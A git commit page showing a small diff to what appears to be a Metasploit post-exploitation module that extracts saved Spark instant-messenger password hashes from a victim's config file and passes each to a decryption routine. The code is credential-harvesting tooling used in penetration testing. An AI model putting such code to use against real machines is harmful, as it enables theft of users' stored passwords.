Merge branch 'spark_im.rb' of git://github.com/zeknox/metasploit-framework into zeknox-spark_im.rb

unstable
sinn3r 2012-12-26 20:35:46 -06:00
commit 17b41adfec
1 changed files with 11 additions and 5 deletions

View File

@ -102,12 +102,18 @@ class Metasploit3 < Msf::Post
# store the hash close the file
password = password.delete_if {|e| e !~ /password.+=.+=\r/}
hash = password[0].split("password").join.chomp
print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
config.close
password.each do | pass |
if pass.nil?
next
end
# call to decrypt the hash
decrypt(hash)
hash = pass.split("password").join.chomp
print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
# call method to decrypt hash
decrypt(hash)
config.close
end
end
end
end